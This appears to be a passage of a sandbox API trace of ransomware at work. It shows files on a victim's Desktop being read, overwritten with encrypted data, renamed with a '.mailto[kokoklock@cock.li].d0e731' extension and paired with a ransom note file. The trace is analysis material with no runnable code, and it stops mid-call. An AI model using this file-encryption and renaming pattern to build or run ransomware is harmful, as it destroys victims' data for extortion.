[0070.124] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0070.124] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0070.124] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0070.124] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0070.124] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0070.124] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0070.124] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x131bfb98, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x131bfb98*=0x4096, lpOverlapped=0x0) returned 1 [0070.125] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0070.125] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x12686, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.125] WriteFile (in: hFile=0x774, lpBuffer=0x342bc08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x131bfbd0, lpOverlapped=0x0 | out: lpBuffer=0x342bc08*, lpNumberOfBytesWritten=0x131bfbd0*=0x20, lpOverlapped=0x0) returned 1 [0070.125] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc08) returned 1 [0070.125] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0070.125] WriteFile (in: hFile=0x774, lpBuffer=0x342c1f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x131bfbe4, lpOverlapped=0x0 | out: lpBuffer=0x342c1f8*, lpNumberOfBytesWritten=0x131bfbe4*=0x8, lpOverlapped=0x0) returned 1 [0070.125] WriteFile (in: hFile=0x774, lpBuffer=0x131bfbfc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x131bfbe4, lpOverlapped=0x0 | out: lpBuffer=0x131bfbfc*, lpNumberOfBytesWritten=0x131bfbe4*=0x4, lpOverlapped=0x0) returned 1 [0070.125] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x131bfbe4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x131bfbe4*=0x4, lpOverlapped=0x0) returned 1 [0070.125] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x131bfbe4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x131bfbe4*=0x6c, lpOverlapped=0x0) returned 1 [0070.126] WriteFile (in: hFile=0x774, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x131bfbe4, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x131bfbe4*=0x20, lpOverlapped=0x0) returned 1 [0070.126] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x131bfbe4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x131bfbe4*=0x4, lpOverlapped=0x0) returned 1 [0070.126] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0070.126] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1a8) returned 1 [0070.126] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1f8) returned 1 [0070.126] CloseHandle (hObject=0x774) returned 1 [0070.924] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33e6918 [0070.924] wcscpy (in: _Dest=0x33e6918, _Source="C:\\Users\\FD1HVy\\Desktop\\nJRCtEnbt-cvxGu.rtf" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\nJRCtEnbt-cvxGu.rtf") returned="C:\\Users\\FD1HVy\\Desktop\\nJRCtEnbt-cvxGu.rtf" [0070.924] wcscat (in: _Dest=0x33e6918, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\nJRCtEnbt-cvxGu.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\nJRCtEnbt-cvxGu.rtf.mailto[kokoklock@cock.li].d0e731" [0070.925] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\nJRCtEnbt-cvxGu.rtf" (normalized: "c:\\users\\fd1hvy\\desktop\\njrctenbt-cvxgu.rtf"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\nJRCtEnbt-cvxGu.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\njrctenbt-cvxgu.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.962] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nJRCtEnbt-cvxGu.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.962] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6918) returned 1 [0070.962] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nJRCtEnbt-cvxGu.rtf", dwFileAttributes=0x20) returned 0 [0070.962] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fc40 [0070.962] wcscpy (in: _Dest=0x347fc40, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.962] wcscat (in: _Dest=0x347fc40, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.963] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.963] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc40) returned 1 [0070.963] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481af8) returned 1 [0070.963] RtlExitUserThread (Status=0x1) Thread: id = 457 os_tid = 0xcac [0070.129] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Of-AzbElV27O.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\of-azbelv27o.mp4")) returned 0x20 [0070.130] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Of-AzbElV27O.mp4", dwFileAttributes=0x20) returned 1 [0070.130] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Of-AzbElV27O.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\of-azbelv27o.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0070.130] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x1323fb30 | out: lpFileSize=0x1323fb30*=30359) returned 1 [0070.130] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x7693, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.130] ReadFile (in: hFile=0x774, lpBuffer=0x1323fb04, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1323fb00, lpOverlapped=0x0 | out: lpBuffer=0x1323fb04*, lpNumberOfBytesRead=0x1323fb00*=0x4, lpOverlapped=0x0) returned 1 [0070.131] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.131] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0070.131] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c1f8 [0070.131] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c1a8 [0070.131] NtQuerySystemTime (in: CurrentTime=0x1323fadc | out: CurrentTime=0x1323fadc*=132121176280254373) returned 0x0 [0070.131] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0x62265ce8 [0070.131] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0xefca8620 [0070.131] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0xc6241ce8 [0070.131] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0x2501d0a6 [0070.131] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0x98544161 [0070.131] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0xba9e64a6 [0070.131] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0x4f1b8e0e [0070.131] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0x8ecf57eb [0070.131] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0x6c2ae651 [0070.131] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0x5ac4eacf [0070.131] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0xb838f893 [0070.131] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0x8b219bf2 [0070.131] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0xa10348ea [0070.131] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0xb9ccf966 [0070.131] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0x965ec252 [0070.132] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0xe60ae29d [0070.132] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0x6590edf2 [0070.132] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0x2bad1374 [0070.132] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0xef254d44 [0070.132] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0x7ac4669 [0070.132] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0x75cf097d [0070.132] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0xf4f118a9 [0070.132] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0x7e6da433 [0070.132] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0x3f90a3d6 [0070.132] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0xfff77cb1 [0070.132] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0xcdfc3eb6 [0070.132] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0xf2408ab5 [0070.132] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0xe0e1a976 [0070.132] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0x8c586d47 [0070.132] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0xdc3a8ca4 [0070.132] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0xd7fe97a3 [0070.132] RtlRandom (in: Seed=0x1323fae8 | out: Seed=0x1323fae8) returned 0x91a5a738 [0070.169] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.169] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1323fab4, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1323fab4*=0x4096, lpOverlapped=0x0) returned 1 [0070.169] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.169] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0070.169] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0070.169] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0070.169] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0070.169] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0070.170] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0070.170] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00d0 [0070.170] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f00d0) returned 1 [0070.170] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0070.170] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0070.170] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1323fab4, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x1323fab4*=0x4096, lpOverlapped=0x0) returned 1 [0070.170] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0070.170] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x7697, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.170] WriteFile (in: hFile=0x774, lpBuffer=0x347cdd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1323faec, lpOverlapped=0x0 | out: lpBuffer=0x347cdd0*, lpNumberOfBytesWritten=0x1323faec*=0x20, lpOverlapped=0x0) returned 1 [0070.170] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0070.170] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0070.170] WriteFile (in: hFile=0x774, lpBuffer=0x342bc08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1323fb00, lpOverlapped=0x0 | out: lpBuffer=0x342bc08*, lpNumberOfBytesWritten=0x1323fb00*=0x8, lpOverlapped=0x0) returned 1 [0070.170] WriteFile (in: hFile=0x774, lpBuffer=0x1323fb18*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1323fb00, lpOverlapped=0x0 | out: lpBuffer=0x1323fb18*, lpNumberOfBytesWritten=0x1323fb00*=0x4, lpOverlapped=0x0) returned 1 [0070.170] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1323fb00, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1323fb00*=0x4, lpOverlapped=0x0) returned 1 [0070.171] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1323fb00, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1323fb00*=0x6c, lpOverlapped=0x0) returned 1 [0070.171] WriteFile (in: hFile=0x774, lpBuffer=0x342c1f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1323fb00, lpOverlapped=0x0 | out: lpBuffer=0x342c1f8*, lpNumberOfBytesWritten=0x1323fb00*=0x20, lpOverlapped=0x0) returned 1 [0070.171] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1323fb00, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1323fb00*=0x4, lpOverlapped=0x0) returned 1 [0070.171] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1f8) returned 1 [0070.171] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0070.171] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc08) returned 1 [0070.171] CloseHandle (hObject=0x774) returned 1 [0070.925] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x94) returned 0x33eb090 [0070.925] wcscpy (in: _Dest=0x33eb090, _Source="C:\\Users\\FD1HVy\\Desktop\\Of-AzbElV27O.mp4" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\Of-AzbElV27O.mp4") returned="C:\\Users\\FD1HVy\\Desktop\\Of-AzbElV27O.mp4" [0070.925] wcscat (in: _Dest=0x33eb090, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\Of-AzbElV27O.mp4.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\Of-AzbElV27O.mp4.mailto[kokoklock@cock.li].d0e731" [0070.925] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\Of-AzbElV27O.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\of-azbelv27o.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\Of-AzbElV27O.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\of-azbelv27o.mp4.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.961] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Of-AzbElV27O.mp4.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.961] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb090) returned 1 [0070.961] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Of-AzbElV27O.mp4", dwFileAttributes=0x20) returned 0 [0070.961] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fc40 [0070.961] wcscpy (in: _Dest=0x347fc40, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.961] wcscat (in: _Dest=0x347fc40, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.961] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.961] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc40) returned 1 [0070.961] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481c18) returned 1 [0070.961] RtlExitUserThread (Status=0x1) Thread: id = 458 os_tid = 0x9e8 [0070.174] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\OMigOPyv.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\omigopyv.wav")) returned 0x20 [0070.174] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\OMigOPyv.wav", dwFileAttributes=0x20) returned 1 [0070.174] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\OMigOPyv.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\omigopyv.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0070.174] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x132bf8b4 | out: lpFileSize=0x132bf8b4*=13465) returned 1 [0070.174] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x3495, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.175] ReadFile (in: hFile=0x774, lpBuffer=0x132bf888, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x132bf884, lpOverlapped=0x0 | out: lpBuffer=0x132bf888*, lpNumberOfBytesRead=0x132bf884*=0x4, lpOverlapped=0x0) returned 1 [0070.175] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.175] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00d0 [0070.175] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0070.175] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0070.175] NtQuerySystemTime (in: CurrentTime=0x132bf860 | out: CurrentTime=0x132bf860*=132121176280722834) returned 0x0 [0070.175] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0x2fe23bf5 [0070.175] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0xe7ccb207 [0070.175] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0x59ae6405 [0070.175] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0xabe91dc1 [0070.175] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0x19c6aa58 [0070.175] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0xd4bce994 [0070.175] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0x14267e63 [0070.175] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0xdda502a1 [0070.175] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0x60a44552 [0070.175] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0x9dd9e8da [0070.175] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0x8eb3fa4c [0070.175] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0x4c000985 [0070.175] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0xe1c9a82f [0070.175] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0xaa85954e [0070.175] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0xa73407a9 [0070.175] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0xdaf32c1a [0070.175] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0x1defd6fa [0070.175] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0xdf2701bc [0070.175] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0xfa44d5a2 [0070.175] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0x98a69ed2 [0070.175] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0x2962a293 [0070.175] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0xcf651b9 [0070.175] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0x9dd32341 [0070.175] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0xb0e5379d [0070.176] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0x3806994f [0070.176] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0x5150f8d1 [0070.176] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0xea655794 [0070.176] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0xc2d2f4b4 [0070.176] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0x28ad6e75 [0070.176] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0x7e4eef29 [0070.176] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0x11554b2a [0070.176] RtlRandom (in: Seed=0x132bf86c | out: Seed=0x132bf86c) returned 0x84e8627e [0070.186] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x3499, lpNumberOfBytesRead=0x132bf860, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x132bf860*=0x3499, lpOverlapped=0x0) returned 1 [0070.187] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x132bf828 | out: lpNewFilePointer=0x0) returned 1 [0070.187] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x3499, lpNumberOfBytesWritten=0x132bf85c, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x132bf85c*=0x3499, lpOverlapped=0x0) returned 1 [0070.188] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00d0 [0070.188] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422ac8 [0070.188] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422ac8) returned 1 [0070.188] WriteFile (in: hFile=0x774, lpBuffer=0x33f00d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x132bf858, lpOverlapped=0x0 | out: lpBuffer=0x33f00d0*, lpNumberOfBytesWritten=0x132bf858*=0x20, lpOverlapped=0x0) returned 1 [0070.188] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f00d0) returned 1 [0070.188] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0070.188] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0070.188] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0070.188] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0070.188] WriteFile (in: hFile=0x774, lpBuffer=0x347cdd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x132bf884, lpOverlapped=0x0 | out: lpBuffer=0x347cdd0*, lpNumberOfBytesWritten=0x132bf884*=0x8, lpOverlapped=0x0) returned 1 [0070.188] WriteFile (in: hFile=0x774, lpBuffer=0x132bf89c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x132bf884, lpOverlapped=0x0 | out: lpBuffer=0x132bf89c*, lpNumberOfBytesWritten=0x132bf884*=0x4, lpOverlapped=0x0) returned 1 [0070.188] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x132bf884, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x132bf884*=0x4, lpOverlapped=0x0) returned 1 [0070.188] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x132bf884, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x132bf884*=0x6c, lpOverlapped=0x0) returned 1 [0070.188] WriteFile (in: hFile=0x774, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x132bf884, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x132bf884*=0x20, lpOverlapped=0x0) returned 1 [0070.188] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x132bf884, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x132bf884*=0x4, lpOverlapped=0x0) returned 1 [0070.188] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0070.189] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1f8) returned 1 [0070.189] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0070.189] CloseHandle (hObject=0x774) returned 1 [0070.925] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8c) returned 0x347c458 [0070.925] wcscpy (in: _Dest=0x347c458, 